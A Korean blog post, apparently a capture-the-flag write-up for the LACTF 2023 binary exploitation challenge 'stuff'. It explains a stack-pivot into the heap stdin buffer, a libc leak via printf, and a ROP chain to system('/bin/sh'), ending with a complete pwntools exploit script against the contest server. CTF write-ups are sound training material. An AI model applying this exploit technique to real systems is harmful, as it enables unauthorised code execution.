CIDY
[LACTF 2023] stuff 본문
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v4; // rax
char ptr[12]; // [rsp+0h] [rbp-10h] BYREF
int v6; // [rsp+Ch] [rbp-4h] BYREF
setbuf(stdout, 0LL);
do
{
while ( 1 )
{
puts("menu:");
puts("1. leak");
puts("2. do stuff");
if ( (unsigned int)__isoc99_scanf("%d", &v6) != 1 )
{
puts("oops");
return 1;
}
if ( v6 != 1 )
break;
v4 = malloc(8uLL);
printf("here's your leak: %p\n", v4);
}
}
while ( v6 != 2 );
fread(ptr, 1uLL, 0x20uLL, stdin); // hmm
//
//
return 0;
}
역시 코드는 매우 간단하다. 1번은 할당한 주소를 보여주고, 2번은 fread하는 간단한 코드인데 오버플로우가 터진다. 단, 딱 ret주소 까지만. 사실 방향은 정해졌다. 누가봐도 stack pivoting쪽이긴 한데(glibc2.34라서 원가젯 컨디션을 기대하기는 어렵다.) sfp를 원하는 주소 + ret를 fread코드로 하면 원하는 곳에 다 쓸 수 있긴 하다.
그래서 처음에 bss에 코드를 조성하고 거기로 ret을 옮기는 방법을 생각했다.
partial relro고 pie도 없고,, 이것저것 취약해서 풀이 방향이 다양하게 나올 수 있다고 생각했다. 그런데 가젯이 너무 빈약함. puts도 있고 printf도 있고 립씨릭 얼마든지 가능한 컨디션이라고 생각했는데 pop rdi같은,, 기본적인 가젯이 없다. 그렇다고 csu같은것도 없음. 있는 pop가젯은 pop rbp가 유일함,,
그런데 여기 parseheap에서 보면 익숙한 0x1010이 보인다. 버퍼인듯
여기 보면 출력 버퍼는 따로 사용하지 않는다고 setbuf를 통해 설정을 해 줬는데 stdin은 없어서 힙에 버퍼 있는
scanf에 2입력 주면서 버퍼를 이렇게 채웠다. 이렇게 되면 scanf에는 2가 들어가고 나머지 4칸은 자동으로 fread때 읽혀오게 된다. 세 번째에 들어가 있는게 stdin버퍼 + 0x8 주소고, 네 번째에 들어간 게 leave ret가젯이다. 이 두 개가 각각 sfp랑 ret으로 들어가니까 pivoting이 된다. mov rsp, rbp하고 pop rbp하니까 첫 번째 칸에 들어있는 힙 주소가 rbp에 들어가고 2번째 칸으로 ret하니까 세팅된 rbp를 기준으로 fread가 실행된다.
여기서 fread에 0x20적는게 또 버퍼에 들어갈테니까 잘 적어야 한다.
일단 지금 스택 상태임. 입력버퍼라서 내 입력이 여기 들어가게 될 건데, fread하면 스택 바로 위에 한칸 추가해서 ret주소 쌓이게 될 거니까 stdin + 0x8두 개 넣고, 0x40102c랑 main의 printf호출 부분 코드를 적어넣는다.
그럼 이렇게 입력 버퍼에 세 번째로 들어간 0x40102c가 ret대상이 된다. 아 그 전에 fread를 수행하면 rdi에 립씨 주소가 남는다. 여기서 puts나 printf를 바로 쓰면 문자열 주소로 인식되어 그걸 릭할 수 없음. 그래서 저 코드로 ret해 주는 것이다. (printf의 plt라고 생각하면 될 것 같다.)
printf함수는 내부적으로 이렇게 mov rdi, rsi를 수행하기 때문에 rdi에 든 값을 rsi로 옮길 수 있다. (-> 개인적으로 이 부분을 어떻게 찾고 활용할 생각까지 한 건지 궁금하다;;)
printf의 인자 설정 과정이 이렇게 되개 때문에 0x4011f6으로 가면 rsi설정 없이 %p서식문자를 이용해 릭을 할 수 있다.
여기까지 끝나면 분기문 타고 다시 메뉴를 고르는 곳으로 가게 된다.
아 그리고 립씨 가져왔는데 폰툴에서 LD_PRELOAD 하니까 터져서 다른분이 친절하게도 올려주신 ld파일이랑 가져와서 링크를 위와 같이 수정해줬다. 여차하면 나머지도 수정할랬는데(필요한 라이브러리가 뭐 이리 많은지;) 립씨랑 ld만 수정하니까 리모트랑 동일한 환경으로 돌아갔다.
원가젯 쓸까,,,,?
이렇게 subprocess를 열면 설정된 libc path에서 자동으로 원가젯 검색해준다. --raw옵션은 쪼개서 쉽게 가져오려고 그런 거고, -l1은 원리는 잘 모르겠지만 좀 더 많은 가젯을 보여준다. (원래 더 있는데 3~4개만 보여주는 건가?)
근데 사실 굳이 릭 다했는데 원가젯 쓸 이유는 없는 것 같다. 그냥 정석대로 ㄱ
from pwn import *
main_fread = 0x40120f #write 0x20 from rbp - 0x10
main_printf = 0x4011f6
leave_ret = 0x401234
def one_gadget(filename, base_addr=0):
return [(int(i)+base_addr) for i in subprocess.check_output(["one_gadget", "--raw", "-l1", filename]).decode().split(' ')]
#p = process("./stuff")
e = ELF("./stuff")
libc = e.libc
p = remote("lac.tf", 31182)
p.sendlineafter("2. do stuff\n", "1")
p.recvuntil("here's your leak: ")
heap = int(p.recvline()[:-1], 16)
stdin = heap - 0x1010
print(hex(stdin))
pay = b""
pay += b" " * 0x7 + b"2"
pay += p64(heap) + p64(main_fread) + p64(stdin + 0x8) + p64(leave_ret)
p.sendafter("2. do stuff\n", pay)
pay = b""
pay += p64(stdin + 0x8) * 2 + p64(e.plt['printf']) + p64(main_printf)
pause()
p.send(pay)
p.recvuntil("here's your leak: ")
libc_base = int(p.recvline()[:-1], 16) - 0x1d5a40
print(hex(libc_base))
one_gadget = one_gadget(libc.path, libc_base)
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
pop_rdi = libc_base + 0x27ab5
ret = pop_rdi + 0x1
pay = b""
pay += b" " * 0x7 + b"2"
pay += p64(ret) * 0x3
pay += p64(pop_rdi) + p64(binsh) + p64(system)
p.sendafter("2. do stuff\n", pay)
p.interactive()
binsh랑 system중간에 ret끼면 안 돌아간다. align의 중요성,,
후기: 입력 버퍼를 아주 알차게 이용한 문제다. 처음 내가 pivoting쪽으로 방향을 잡은 이유는 오버플로우 길이 제한이 너무 짧아서 그랬던 건데, 지나고 보니 그게 맞긴 했지만 이건 차치하고 도무지 릭을 어떻게 쓰라는 건지 감이 안 잡혔다. %p문자열과 코드 조각들을 이용해서 어떻게든 릭을 만들어보라는 건가, 아니면 malloc의 인자를 잘 조작해서 mmap을 호출한 다음 출력을 이용해서 립씨릭을 하라는 건가 진짜 많이 고민했는데 힙에 있는 stdin으로 pivoting하니까 사실상 길이 제한이 없는 것과 마찬가지였다,, 오늘도 아직 나는 한참 멀었음을 느낀다ㅠ
'Hack > CTF' 카테고리의 다른 글
[Midnight Sun CTF 2023] MemeControl (0) | 2023.04.09 |
---|---|
[POXX 2022 본선] Write-up? (0) | 2023.02.28 |
[MHSCTF 2023] Feb. 5 — Rescue Mission (0) | 2023.02.15 |
[MHSCTF 2023] Feb. 1 — Balloons (0) | 2023.02.15 |
[LACTF 2023] rut-roh-relro (0) | 2023.02.14 |